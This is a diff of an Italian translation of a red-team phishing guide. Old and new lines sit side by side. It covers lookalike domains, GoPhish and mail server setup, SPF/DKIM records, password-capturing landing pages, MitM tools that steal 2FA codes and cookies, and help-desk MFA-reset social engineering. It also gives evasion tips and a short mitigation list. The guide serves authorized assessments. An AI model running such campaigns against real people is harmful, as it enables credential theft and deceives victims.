Per esempio, una singola modifica di bit nel dominio "windows.com" può trasformarlo in "windnws.com." Per esempio, una singola modifica di bit nel dominio "windows.com" può cambiarlo in "windnws.com."
Gli attacker possono **sfruttare questo registrando più domini bit-flipping** simili al dominio della vittima. L'intento è reindirizzare gli utenti legittimi alla propria infrastruttura. Gli attaccanti possono **sfruttare questo registrando più domini bit-flipping** simili al dominio della vittima. L'intento è reindirizzare gli utenti legittimi verso la loro infrastruttura.
Per maggiori informazioni leggi [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) Per maggiori informazioni leggi [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Buy a trusted domain ### Buy a trusted domain
Puoi cercare su [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio scaduto che potresti usare.\ Puoi cercare su [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio scaduto che potresti usare.\
Per assicurarti che il dominio scaduto che intendi acquistare **abbia già un buon SEO** puoi verificare come è categorizzato in: Per assicurarti che il dominio scaduto che stai per acquistare **abbia già un buon SEO** puoi verificare come è categorizzato in:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
@ -78,8 +78,8 @@ Per assicurarti che il dominio scaduto che intendi acquistare **abbia già un bu
- [https://hunter.io/](https://hunter.io) - [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com) - [https://anymailfinder.com/](https://anymailfinder.com)
Per **scoprire più** indirizzi email validi o **verificare quelli** che hai già scoperto puoi controllare se puoi effettuare username brute force contro i server smtp della vittima. [Scopri come verificare/scoprire indirizzi email qui](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ Per **scoprire più** indirizzi email validi o **verificare quelli** che hai già trovato puoi controllare se è possibile effettuare brute-force sui server smtp della vittima. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Inoltre, non dimenticare che se gli utenti usano **un web portal per accedere alle loro mail**, puoi verificare se è vulnerabile a username brute force e sfruttare la vulnerabilità se possibile. Inoltre, non dimenticare che se gli utenti usano **qualsiasi portale web per accedere alle loro mail**, puoi verificare se è vulnerabile a **username brute force**, ed eventualmente sfruttare la vulnerabilità se possibile.
## Configuring GoPhish ## Configuring GoPhish
@ -87,8 +87,8 @@ Inoltre, non dimenticare che se gli utenti usano **un web portal per accedere al
Puoi scaricarlo da [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) Puoi scaricarlo da [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Scaricalo e decomprimilo dentro `/opt/gophish` ed esegui `/opt/gophish/gophish`\ Download e decomprimi dentro `/opt/gophish` ed esegui `/opt/gophish/gophish`\
Ti verrà fornita una password per l'utente admin sulla porta 3333 nell'output. Quindi, accedi a quella porta e usa quelle credenziali per cambiare la password admin. Potrebbe essere necessario fare il tunnel di quella porta in locale: Ti verrà mostrata una password per l'utente admin sulla porta 3333 nell'output. Quindi, accedi a quella porta e usa quelle credenziali per cambiare la password admin. Potrebbe essere necessario fare il tunneling di quella porta in locale:
```bash ```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip> ssh -L 3333:127.0.0.1:3333 <user>@<ip>
``` ```
@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**Configurazione del certificato TLS** **Configurazione del certificato TLS**
Prima di questo passaggio dovresti aver **già acquistato il dominio** che intendi usare e deve essere **indirizzato** all'**IP del VPS** dove stai configurando **gophish**. Prima di questo passaggio dovresti **aver già acquistato il dominio** che intendi usare e deve essere **indirizzato** all'**IP del VPS** dove stai configurando **gophish**.
```bash ```bash
DOMAIN="<domain>" DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto wget https://dl.eff.org/certbot-auto
@ -112,7 +112,7 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
``` ```
**Configurazione della posta** **Configurazione Mail**
Inizia l'installazione: `apt-get install postfix` Inizia l'installazione: `apt-get install postfix`
@ -122,16 +122,16 @@ Poi aggiungi il dominio ai seguenti file:
- **/etc/postfix/transport** - **/etc/postfix/transport**
- **/etc/postfix/virtual_regexp** - **/etc/postfix/virtual_regexp**
**Modifica anche i valori delle seguenti variabili dentro /etc/postfix/main.cf** **Cambia anche i valori delle seguenti variabili all'interno di /etc/postfix/main.cf**
`myhostname = <domain>`\ `myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost` `mydestination = $myhostname, <domain>, localhost.com, localhost`
Infine modifica i file **`/etc/hostname`** e **`/etc/mailname`** con il tuo nome di dominio e **riavvia il tuo VPS.** Infine modifica i file **`/etc/hostname`** e **`/etc/mailname`** con il tuo nome di dominio e **riavvia il tuo VPS.**
Ora, crea un **DNS A record** per `mail.<domain>` che punti all'**indirizzo IP** del VPS e un record **DNS MX** che punti a `mail.<domain>` Ora, crea un **record DNS A** per `mail.<domain>` che punti all'**indirizzo IP** della VPS e un **record DNS MX** che punti a `mail.<domain>`
Ora proviamo a inviare un'email: Ora testiamo l'invio di un'email:
```bash ```bash
apt install mailutils apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
@ -164,9 +164,9 @@ Modifica `/opt/gophish/config.json` come segue (nota l'uso di https):
} }
} }
``` ```
**Configurare il servizio gophish** **Configura il servizio gophish**
Per creare il servizio gophish in modo che possa essere avviato automaticamente e gestito come servizio, è possibile creare il file `/etc/init.d/gophish` con il seguente contenuto: Per creare il servizio gophish in modo che possa essere avviato automaticamente e gestito come servizio, puoi creare il file `/etc/init.d/gophish` con il seguente contenuto:
```bash ```bash
#!/bin/bash #!/bin/bash
# /etc/init.d/gophish # /etc/init.d/gophish
@ -224,55 +224,55 @@ service gophish status
ss -l | grep "3333\|443" ss -l | grep "3333\|443"
service gophish stop service gophish stop
``` ```
## Configurazione del server mail e del dominio ## Configurare il server di posta e il dominio
### Aspetta e sii legittimo ### Aspetta e sii credibile
Più un dominio è vecchio, meno è probabile che venga classificato come spam. Dovresti quindi attendere il più a lungo possibile (almeno 1 settimana) prima del phishing assessment. Inoltre, se pubblichi una pagina relativa a un settore con buona reputazione, la reputazione ottenuta sarà migliore. Più vecchio è un dominio, meno è probabile che venga contrassegnato come spam. Quindi dovresti aspettare il più possibile (almeno 1 settimana) prima della valutazione di phishing. Inoltre, se pubblichi una pagina relativa a un settore con buona reputazione, la reputazione ottenuta sarà migliore.
Nota che, anche se devi aspettare una settimana, puoi comunque completare ora tutta la configurazione. Nota che anche se devi aspettare una settimana, puoi completare la configurazione di tutto adesso.
### Configura il record Reverse DNS (rDNS) ### Configurare il record Reverse DNS (rDNS)
Imposta un record rDNS (PTR) che risolva l'indirizzo IP del VPS nel nome di dominio. Imposta un record rDNS (PTR) che risolva l'indirizzo IP della VPS nel nome di dominio.
### Sender Policy Framework (SPF) Record ### Sender Policy Framework (SPF) Record
Devi **configurare un record SPF per il nuovo dominio**. Se non sai cos'è un record SPF [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#spf). Devi **configurare un SPF record per il nuovo dominio**. Se non sai cos'è un SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Puoi usare [https://www.spfwizard.net/](https://www.spfwizard.net) per generare la tua policy SPF (usa l'IP della macchina VPS) Puoi usare [https://www.spfwizard.net/](https://www.spfwizard.net) per generare la tua policy SPF (usa l'IP della macchina VPS)
![](<../../images/image (1037).png>) ![](<../../images/image (1037).png>)
Questo è il contenuto da impostare in un record TXT del dominio: Questo è il contenuto che deve essere impostato all'interno di un TXT record nel dominio:
```bash ```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all v=spf1 mx a ip4:ip.ip.ip.ip ?all
``` ```
### Record DMARC (Autenticazione dei messaggi basata sul dominio, reporting e conformità) ### Record DMARC (Autenticazione, Reporting e Conformità basati sul dominio)
Devi **configurare un record DMARC per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). Devi **configurare un record DMARC per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Devi creare un nuovo record DNS TXT che punti al nome host `_dmarc.<domain>` con il seguente contenuto: Devi creare un nuovo record DNS TXT che punti all'hostname `_dmarc.<domain>` con il seguente contenuto:
```bash ```bash
v=DMARC1; p=none v=DMARC1; p=none
``` ```
### DomainKeys Identified Mail (DKIM) ### DomainKeys Identified Mail (DKIM)
Devi **configurare un DKIM per il nuovo dominio**. Se non sai cos'è un record DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). Devi **configurare un DKIM per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Questo tutorial si basa su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) Questo tutorial si basa su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP] > [!TIP]
> Devi concatenare entrambi i valori B64 che la chiave DKIM genera: > È necessario concatenare entrambi i valori B64 che la chiave DKIM genera:
> >
> ``` > ```
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
> ``` > ```
### Testa il punteggio della configurazione della tua email ### Test your email configuration score
Puoi farlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\ Puoi farlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
Basta accedere alla pagina e inviare un'email all'indirizzo che ti indicano: Accedi alla pagina e invia un'email all'indirizzo che ti forniscono:
```bash ```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
``` ```
@ -288,7 +288,7 @@ DKIM check: pass
Sender-ID check: pass Sender-ID check: pass
SpamAssassin check: ham SpamAssassin check: ham
``` ```
Puoi anche inviare **un messaggio a un account Gmail sotto il tuo controllo**, e controllare le **intestazioni dell'email** nella tua casella Gmail: `dkim=pass` dovrebbe essere presente nel campo header `Authentication-Results`. Puoi anche inviare un **messaggio a un account Gmail sotto il tuo controllo** e controllare le **intestazioni dell'email** nella tua casella di posta Gmail: `dkim=pass` dovrebbe essere presente nel campo di intestazione `Authentication-Results`.
``` ```
Authentication-Results: mx.google.com; Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
@ -296,32 +296,32 @@ dkim=pass header.i=@example.com;
``` ```
### Rimozione dalla Spamhouse Blacklist ### Rimozione dalla Spamhouse Blacklist
La pagina [www.mail-tester.com](https://www.mail-tester.com) può indicarti se il tuo dominio è bloccato da spamhouse. Puoi richiedere la rimozione del tuo dominio/IP su: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) La pagina [www.mail-tester.com](https://www.mail-tester.com) può indicare se il tuo dominio è bloccato da Spamhouse. Puoi richiedere la rimozione del tuo dominio/IP su: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Rimozione dalla Microsoft Blacklist ### Rimozione dalla Microsoft Blacklist
Puoi richiedere la rimozione del tuo dominio/IP su [https://sender.office.com/](https://sender.office.com). Puoi richiedere la rimozione del tuo dominio/IP su [https://sender.office.com/](https://sender.office.com).
## Create & Launch GoPhish Campaign ## Creare e lanciare una campagna GoPhish
### Sending Profile ### Profilo mittente
- Inserisci un **nome per identificare** il profilo mittente - Imposta un **nome identificativo** per il profilo mittente
- Decidi da quale account invierai le email di phishing. Suggerimenti: _noreply, support, servicedesk, salesforce..._ - Decidi da quale account invierai le email di phishing. Suggerimenti: _noreply, support, servicedesk, salesforce..._
- Puoi lasciare vuoti username e password, ma assicurati di selezionare Ignore Certificate Errors - Puoi lasciare vuoti username e password, ma assicurati di selezionare "Ignore Certificate Errors"
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP] > [!TIP]
> È consigliato utilizzare la funzionalità "**Send Test Email**" per verificare che tutto funzioni.\ > Si consiglia di utilizzare la funzionalità "**Send Test Email**" per verificare che tutto funzioni.\
> Consiglio di **inviare le test email a 10min mails addresses** per evitare di finire in blacklist durante i test. > Raccomando di **inviare le email di test a indirizzi 10min mail** per evitare di finire in blacklist durante i test.
### Email Template ### Modello email
- Inserisci un **nome per identificare** il template - Imposta un **nome identificativo** per il modello
- Poi scrivi un **subject** (niente di strano, qualcosa che ci si aspetterebbe di leggere in una email normale) - Poi scrivi un **oggetto** (niente di strano, qualcosa che ti aspetteresti di leggere in una normale email)
- Assicurati di aver selezionato "**Add Tracking Image**" - Assicurati di aver selezionato "**Add Tracking Image**"
- Scrivi il **email template** (puoi usare variabili come nel seguente esempio): - Scrivi il **template dell'email** (puoi usare variabili come nell'esempio seguente):
```html ```html
<html> <html>
<head> <head>
@ -340,20 +340,20 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body> </body>
</html> </html>
``` ```
Nota che **per aumentare la credibilità dell'email** è raccomandato usare qualche firma presa da un'email del cliente. Suggerimenti: Nota che **per aumentare la credibilità dell'email**, è consigliabile usare qualche firma recuperata da un'email del cliente. Suggerimenti:
- Invia un'email a un **indirizzo inesistente** e verifica se la risposta contiene una firma. - Invia un'email a un **indirizzo inesistente** e verifica se la risposta contiene qualche firma.
- Cerca **email pubbliche** come info@ex.com o press@ex.com o public@ex.com e invia loro un'email aspettando la risposta. - Cerca **email pubbliche** come info@ex.com o press@ex.com o public@ex.com e inviagli un'email, poi attendi la risposta.
- Prova a contattare **un indirizzo valido scoperto** e attendi la risposta - Prova a contattare **alcuni indirizzi validi scoperti** e attendi la risposta.
![](<../../images/image (80).png>) ![](<../../images/image (80).png>)
> [!TIP] > [!TIP]
> The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). > Il template Email permette anche di **allegare file da inviare**. Se vuoi anche rubare challenge NTLM usando file/documenti appositamente creati [leggi questa pagina](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Landing Page ### Landing Page
- Inserisci un **nome** - Scrivi un **nome**
- **Scrivi il codice HTML** della pagina web. Nota che puoi **importare** pagine web. - **Scrivi il codice HTML** della pagina web. Nota che puoi **importare** pagine web.
- Seleziona **Capture Submitted Data** e **Capture Passwords** - Seleziona **Capture Submitted Data** e **Capture Passwords**
- Imposta una **redirection** - Imposta una **redirection**
@ -361,44 +361,44 @@ Nota che **per aumentare la credibilità dell'email** è raccomandato usare qual
![](<../../images/image (826).png>) ![](<../../images/image (826).png>)
> [!TIP] > [!TIP]
> Solitamente dovrai modificare il codice HTML della pagina e fare dei test in locale (magari usando un server Apache) **fino a quando non sei soddisfatto del risultato.** Poi, incolla quel codice HTML nella casella.\ > Di solito dovrai modificare il codice HTML della pagina e fare dei test in locale (magari usando un server Apache) **finché non sei soddisfatto del risultato.** Poi incolla quel codice HTML nella casella.\
> Nota che se hai bisogno di **utilizzare risorse statiche** per l'HTML (per esempio CSS o JS) puoi salvarle in _**/opt/gophish/static/endpoint**_ e poi accedervi da _**/static/\<filename>**_ > Nota che se hai bisogno di **usare risorse statiche** per l'HTML (ad esempio dei file CSS o JS) puoi salvarle in _**/opt/gophish/static/endpoint**_ e poi richiamarle da _**/static/\<filename>**_
> [!TIP] > [!TIP]
> Per la redirection potresti **reindirizzare gli utenti alla pagina principale legittima** della vittima, oppure reindirizzarli a _/static/migration.html_ ad esempio, mettere una **ruota che gira (**[**https://loading.io/**](https://loading.io)**) per 5 secondi e poi indicare che il processo è stato completato con successo**. > Per la redirezione potresti **riindirizzare gli utenti alla pagina principale legittima** della vittima, oppure reindirizzarli a _/static/migration.html_, mettere una **spinning wheel** ([https://loading.io/](https://loading.io/)) per 5 secondi e poi indicare che il processo è andato a buon fine.
### Users & Groups ### Users & Groups
- Imposta un nome - Imposta un nome
- **Importa i dati** (nota che per usare il template di esempio hai bisogno del firstname, last name e email address di ogni utente) - **Importa i dati** (nota che per usare il template di esempio ti servono firstname, last name e email di ogni utente)
![](<../../images/image (163).png>) ![](<../../images/image (163).png>)
### Campaign ### Campaign
Infine, crea una campagna selezionando un nome, l'email template, la landing page, l'URL, il sending profile e il gruppo. Nota che l'URL sarà il link inviato alle vittime Infine, crea una campaign selezionando un nome, il template email, la landing page, l'URL, il sending profile e il gruppo. Nota che l'URL sarà il link inviato alle vittime.
Nota che il **Sending Profile permette di inviare un'email di test per vedere come apparirà l'email di phishing finale**: Nota che il **Sending Profile permette di inviare una email di test per vedere come apparirà l'email di phishing finale**:
![](<../../images/image (192).png>) ![](<../../images/image (192).png>)
> [!TIP] > [!TIP]
> Raccomando di **inviare le email di test a indirizzi 10min mails** per evitare di essere inseriti in blacklist durante i test. > Consiglio di **inviare le email di test a indirizzi 10min mails** per evitare di essere inseriti in blacklist durante i test.
Una volta pronto tutto, lancia la campagna! Una volta che tutto è pronto, avvia la campaign!
## Clonazione del sito web ## Website Cloning
Se per qualsiasi motivo vuoi clonare il sito web consulta la seguente pagina: Se per qualche motivo vuoi clonare il sito web, consulta la seguente pagina:
{{#ref}} {{#ref}}
clone-a-website.md clone-a-website.md
{{#endref}} {{#endref}}
## File e documenti con backdoor ## Backdoored Documents & Files
In alcune valutazioni di phishing (soprattutto per Red Teams) vorrai anche **inviare file che contengano una qualche backdoor** (magari un C2 o magari solo qualcosa che scateni un'autenticazione).\ In alcune valutazioni di phishing (soprattutto per Red Teams) vorrai anche **inviare file contenenti una backdoor** (magari una C2 o qualcosa che inneschi un'autenticazione).\
Dai un'occhiata alla seguente pagina per alcuni esempi: Dai un'occhiata alla seguente pagina per alcuni esempi:
@ -410,53 +410,53 @@ phishing-documents.md
### Via Proxy MitM ### Via Proxy MitM
L'attacco precedente è piuttosto efficace perché stai falsificando un sito reale e raccogliendo le informazioni inserite dall'utente. Sfortunatamente, se l'utente non inserisce la password corretta o se l'applicazione che hai falsificato è configurata con 2FA, **queste informazioni non ti permetteranno di impersonare l'utente raggirato**. L'attacco precedente è piuttosto astuto perché stai falsificando un sito reale e raccogliendo le informazioni inserite dall'utente. Purtroppo, se l'utente non ha inserito la password corretta o se l'applicazione che hai falsificato è configurata con 2FA, **queste informazioni non ti permetteranno di impersonare l'utente ingannato**.
Qui entrano in gioco strumenti come [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena). Questi strumenti permettono di generare un attacco MitM. Fondamentalmente, l'attacco funziona così: Qui entrano in gioco strumenti come [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena). Questi tool ti permettono di generare un attacco MitM. Fondamentalmente, l'attacco funziona così:
1. Tu **falsifichi il form di login** della pagina reale. 1. Tu **falsifichi il form di login** della pagina reale.
2. L'utente **invia** le sue **credenziali** alla tua pagina fake e lo strumento le invia alla pagina reale, **verificando se le credenziali funzionano**. 2. L'utente **inviasse** le sue **credenziali** alla tua pagina fake e lo strumento le invia alla pagina reale, **verificando se le credenziali sono valide**.
3. Se l'account è configurato con **2FA**, la pagina MitM richiederà il codice e una volta che **l'utente lo inserisce** lo strumento lo inoltrerà alla pagina web reale. 3. Se l'account è configurato con **2FA**, la pagina MitM chiederà il codice e una volta che **l'utente lo inserisce** lo strumento lo invierà alla pagina reale.
4. Una volta che l'utente è autenticato tu (come attaccante) avrai **catturato le credenziali, la 2FA, il cookie e qualsiasi informazione** di ogni interazione mentre lo strumento esegue il MitM. 4. Una volta che l'utente è autenticato tu (come attaccante) avrai **catturato le credenziali, il 2FA, il cookie e tutte le informazioni** di ogni interazione mentre lo strumento effettua il MitM.
### Via VNC ### Via VNC
E se invece di **inviare la vittima a una pagina malevola** dall'aspetto identico all'originale, la mandi a una **sessione VNC con un browser connesso alla pagina reale**? Potrai vedere cosa fa, rubare la password, l'MFA usata, i cookie...\ E se invece di **inviare la vittima a una pagina malevola** con lo stesso aspetto dell'originale, la mandi a una **sessione VNC con un browser connesso alla pagina reale**? Potrai vedere cosa fa, rubare la password, l'MFA usata, i cookie...\
Puoi farlo con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) Puoi farlo con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Rilevare di essere stati scoperti ## Detecting the detection
Ovviamente uno dei modi migliori per sapere se sei stato beccato è **cercare il tuo dominio nelle blacklist**. Se appare elencato, in qualche modo il tuo dominio è stato rilevato come sospetto.\ Ovviamente uno dei modi migliori per sapere se sei stato scoperto è **cercare il tuo dominio nelle blacklist**. Se risulta presente, in qualche modo il tuo dominio è stato rilevato come sospetto.\
Un modo semplice per verificare se il tuo dominio appare in qualche blacklist è usare [https://malwareworld.com/](https://malwareworld.com) Un modo semplice per verificare se il tuo dominio è presente in qualche blacklist è usare [https://malwareworld.com/](https://malwareworld.com)
Tuttavia, ci sono altri modi per capire se la vittima sta **attivamente cercando attività di phishing sospette** in circolazione, come spiegato in: Tuttavia, ci sono altri modi per capire se la vittima sta **attivamente cercando attività di phishing sospette** nel mondo reale, come spiegato in:
{{#ref}} {{#ref}}
detecting-phising.md detecting-phising.md
{{#endref}} {{#endref}}
Puoi **comprare un dominio con un nome molto simile** a quello della vittima **e/o generare un certificato** per un **sottodominio** di un dominio controllato da te **contenente** la **parola chiave** del dominio della vittima. Se la **vittima** effettua qualsiasi tipo di **interazione DNS o HTTP** con essi, saprai che **sta cercando attivamente** domini sospetti e dovrai essere molto stealth. Puoi **acquistare un dominio con un nome molto simile** a quello della vittima **e/o generare un certificato** per un **sottodominio** di un dominio controllato da te **contenente** la **parola chiave** del dominio della vittima. Se la **vittima** effettua qualsiasi tipo di **interazione DNS o HTTP** con essi, saprai che **sta cercando attivamente** domini sospetti e dovrai essere molto stealth.
### Valutare il phishing ### Evaluate the phishing
Usa [**Phishious** ](https://github.com/Rices/Phishious) per valutare se la tua email finirà nella cartella spam o se verrà bloccata o avrà successo. Usa [**Phishious**](https://github.com/Rices/Phishious) per valutare se la tua email finirà nella cartella spam, se verrà bloccata o se avrà successo.
## High-Touch Identity Compromise (Help-Desk MFA Reset) ## High-Touch Identity Compromise (Help-Desk MFA Reset)
I moderni set di intrusione sempre più spesso evitano completamente gli esche via email e **mirano direttamente al servizio di help-desk / al workflow di recovery dell'identità** per bypassare l'MFA. L'attacco è totalmente "living-off-the-land": una volta che l'operatore ottiene credenziali valide pivotano con strumenti amministrativi integrati non è necessario malware. Set di intrusioni moderni sempre più spesso saltano completamente le email di lure e **puntano direttamente al workflow di service-desk / identity-recovery** per bypassare l'MFA. L'attacco è totalmente "living-off-the-land": una volta ottenute credenziali valide l'operatore pivota con strumenti amministrativi integrati nessun malware è necessario.
### Flusso dell'attacco ### Attack flow
1. Recon sulla vittima 1. Recon della vittima
* Raccogli dettagli personali e aziendali da LinkedIn, breach di dati, GitHub pubblico, ecc. * Raccogli dettagli personali e aziendali da LinkedIn, data breaches, GitHub pubblico, ecc.
* Identifica identità ad alto valore (dirigenti, IT, finance) e enumera il **preciso processo di help-desk** per il reset di password / MFA. * Identifica identità ad alto valore (executive, IT, finance) e enumera il **processo esatto dell'help-desk** per il reset di password / MFA.
2. Social engineering in tempo reale 2. Social engineering in tempo reale
* Chiama, contatta via Teams o chat l'help-desk impersonando la vittima (spesso con **spoofed caller-ID** o **voce clonata**). * Chiama, usa Teams o chatta con l'help-desk impersonando il target (spesso con **caller-ID spoofato** o **voce clonata**).
* Fornisci i PII raccolti in precedenza per superare la verifica basata sulla conoscenza. * Fornisci il PII raccolto in precedenza per superare la verifica basata sulla conoscenza.
* Convincere l'agente a **resettare il secret MFA** o eseguire un **SIM-swap** su un numero mobile registrato. * Convincere l'operatore a **resettare il secret MFA** o a effettuare un **SIM-swap** su un numero mobile registrato.
3. Azioni immediate post-accesso (≤60 min in casi reali) 3. Azioni post-accesso immediate (≤60 min nei casi reali)
* Stabilisci un foothold tramite qualsiasi portale web SSO. * Stabilisci un foothold tramite qualsiasi web SSO portal.
* Enumera AD / AzureAD con strumenti integrati (nessun binary lasciato): * Enumera AD / AzureAD con strumenti integrati (nessun binario scaricato):
```powershell ```powershell
# list directory groups & privileged roles # list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to # Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local> Get-MgUserRegisteredDevice -UserId <user@corp.local>
``` ```
* Movimento laterale con **WMI**, **PsExec**, o agenti legittimi **RMM** già nella whitelist dell'ambiente. * Movimenti laterali con **WMI**, **PsExec**, o agenti **RMM** legittimi già whitelistati nell'ambiente.
### Rilevazione e mitigazione ### Detection & Mitigation
* Tratta il recovery dell'identità tramite help-desk come un'**operazione privilegiata** richiedi step-up auth e approvazione del manager. * Tratta il recovery identità via help-desk come un'operazione **privilegiata** richiedi step-up auth e approvazione del manager.
* Distribuisci regole **Identity Threat Detection & Response (ITDR)** / **UEBA** che generino alert su: * Deploya regole **Identity Threat Detection & Response (ITDR)** / **UEBA** che generino alert su:
* Metodo MFA cambiato + autenticazione da nuovo dispositivo / nuova geo. * Metodo MFA cambiato + autenticazione da nuovo dispositivo / geo.
* Immediata elevazione dello stesso principal (user → admin). * Immediate elevazioni dello stesso principal (user → admin).
* Registra le chiamate dell'help-desk e imposta un **call-back a un numero già registrato** prima di qualsiasi reset. * Registra le chiamate dell'help-desk e applica un **call-back a un numero già registrato** prima di qualunque reset.
* Implementa **Just-In-Time (JIT) / Privileged Access** in modo che gli account appena resettati **non** ereditino automaticamente token ad alto privilegio. * Implementa **Just-In-Time (JIT) / Privileged Access** in modo che gli account appena resettati **non** ereditino automaticamente token ad alto privilegio.
--- ---
## Inganno su larga scala SEO Poisoning & campagne “ClickFix” ## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns
